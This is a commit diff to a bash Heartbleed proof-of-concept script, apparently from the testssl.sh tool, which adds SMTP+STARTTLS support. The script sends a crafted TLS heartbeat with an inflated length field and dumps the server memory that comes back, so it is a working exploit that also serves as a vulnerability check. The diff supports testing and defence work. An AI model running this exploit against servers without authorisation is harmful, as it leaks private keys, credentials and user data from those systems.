- works now also for SMTP+STARTTLS

This commit is contained in:
Dirk 2015-07-01 10:16:01 +02:00
parent bfdc95f3dc
commit 83dc3f707f
2 changed files with 102 additions and 27 deletions

122
utils/heartbleed.bash Normal file → Executable file
View File

@ -8,28 +8,32 @@
# #
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### ###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
NODE="" NODE=""
PORT="443"
SLEEP=2 SLEEP=2
SOCKREPLY=""
COL_WIDTH=32 COL_WIDTH=32
[ -z "$1" ] && exit 1 [ -z "$1" ] && exit 1
# TLS 1.0=x01 1.1=0x02, 1.2=0x3 # TLS 1.0=x01 1.1=0x02, 1.2=0x3
# the PoC contains per default only check for TLS1.0 as the is the least common denominator # the PoC contains per default only check for TLS1.0 as the is the least common denominator
TLSV=${2:-x01} TLSV=${2:-01}
heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00" heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
## ^^^^^^^ this is the thing! ## ^^^^^^^ this is the thing!
client_hello=" client_hello="
# TLS header ( 5 bytes) # TLS header ( 5 bytes)
,x16, # Content type (x16 for handshake) ,x16, # Content type (x16 for handshake)
x03, tls_version, # TLS Version x03, x$TLSV, # TLS Version
x00, xdc, # Length x00, xdc, # Length
# Handshake header # Handshake header
x01, # Type (x01 for ClientHello) x01, # Type (x01 for ClientHello)
x00, x00, xd8, # Length x00, x00, xd8, # Length
x03, tls_version, # TLS Version x03, x$TLSV, # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html # Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
x53, x43, x5b, x90, x9d, x9b, x72, x0b, x53, x43, x5b, x90, x9d, x9b, x72, x0b,
xbc, x0c, xbc, x2b, x92, xa8, x48, x97, xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
@ -73,7 +77,6 @@ msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g'
parse_hn_port() { parse_hn_port() {
PORT=443 # unless otherwise auto-determined, see below
NODE="$1" NODE="$1"
# strip "https", supposed it was supplied additionally # strip "https", supposed it was supplied additionally
@ -83,51 +86,118 @@ parse_hn_port() {
NODE=`echo $NODE | sed -e 's/\/.*$//'` NODE=`echo $NODE | sed -e 's/\/.*$//'`
# determine port, supposed it was supplied additionally # determine port, supposed it was supplied additionally
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
's/\:.*$//'`
echo -e "\n===> connecting to $NODE:$PORT\n"
} }
wait_kill(){
pid=$1
maxsleep=$2
while true; do
if ! ps $pid >/dev/null ; then
return 0 # didn't reach maxsleep yet
fi
sleep 1
maxsleep=$((maxsleep - 1))
test $maxsleep -eq 0 && break
done # needs to be killed:
kill $pid >&2 2>/dev/null
wait $pid 2>/dev/null
return 3 # killed
}
socksend() { socksend() {
data=`echo $1 | sed 's/tls_version/'"$2"'/g'` data=`echo $1`
echo "\"$data\"" echo "\"$data\""
echo -en "$data" >&5 & echo -en "$data" >&5 &
sleep $SLEEP sleep $SLEEP
} }
sockread()
{ sockread() {
reply=`dd bs=$1 count=1 <&5 2>/dev/null` reply=$(dd bs=$1 count=1 <&5 2>/dev/null)
wait_kill $! $SLEEP
}
sockread1() {
[[ "x$2" == "x" ]] && maxsleep=10 || maxsleep=$2
ret=0
ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
wait_kill $! $maxsleep
ret=$?
SOCKREPLY=$(cat $ddreply)
rm $ddreply
return $ret
}
# arg1: string to send
starttls_line0() {
echo "$1" >&5
cat <&5 &
wait_kill $! $SLEEP
#sleep $SLEEP
}
starttls_line1() {
echo "$1" >&5
while true; do
read line <&5
echo $line
break
done
}
fd_socket(){
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "`basename $0`: unable to connect to $NODE:$PORT"
exit 2
fi
case "$1" in # port
25) starttls_line0 "EHLO testssl.sh"
starttls_line0 "STARTTLS"
;;
443|*) ;;
esac
}
close_socket(){
exec 5<&-
exec 5>&-
return 0
} }
#### main #### main
parse_hn_port "$1" parse_hn_port "$1"
fd_socket $PORT
if ! exec 5<> /dev/tcp/$NODE/$PORT; then echo "##### sending standard client hello with TLS version 03,$TLSV:"
echo "`basename $0`: unable to connect to $NODE:$PORT"
exit 2
fi
# socket is now open with fd 5
echo "##### sending client hello:"
socksend "$msg" $TLSV socksend "$msg" $TLSV
sockread 16384 sockread 16384
echo "##### server hello:" #sockread 10000
echo -e "$reply" | xxd | head -20 echo "##### reading server hello:"
#cat $SOCKREPLY | xxd | head -20
echo -e "$reply" | xxd | head -2
echo "[...]" echo "[...]"
echo echo
echo "##### sending payload with TLS version $TLSV:" echo "###### sending payload with TLS version 03,$TLSV:"
socksend $heartbleed_payload $TLSV socksend $heartbleed_payload $TLSV
sockread 65534 sockread 65534
echo "###### heartbleed reply: " echo "###### heartbleed reply: "
echo "============================="
#cat $SOCKREPLY | xxd | head -20
echo -e "$reply" | xxd -c$COL_WIDTH echo -e "$reply" | xxd -c$COL_WIDTH
echo echo "============================="
lines_returned=`echo -e "$reply" | xxd | wc -l` lines_returned=`echo -e "$reply" | xxd | wc -l`
if [ $lines_returned -gt 1 ]; then if [ $lines_returned -gt 1 ]; then
@ -139,7 +209,9 @@ else
fi fi
echo echo
close_socket
exit $ret exit $ret
# vim:tw=100:ts=5:sw=5 # vim:tw=100:ts=5:sw=5
# $Id: bash-heartbleed.sh,v 1.6 2014/04/18 12:01:19 dirkw Exp $ # $Id: heartbleed.bash,v 1.9 2015/07/01 08:12:36 dirkw Exp $

View File

@ -1,3 +1,6 @@
1.8 2015-07-01
- works also for smtp+starttls now
----------------------------
1.7, 2014-04-30 23:06:55 +0200; 1.7, 2014-04-30 23:06:55 +0200;
- legal disclaimer - legal disclaimer
---------------------------- ----------------------------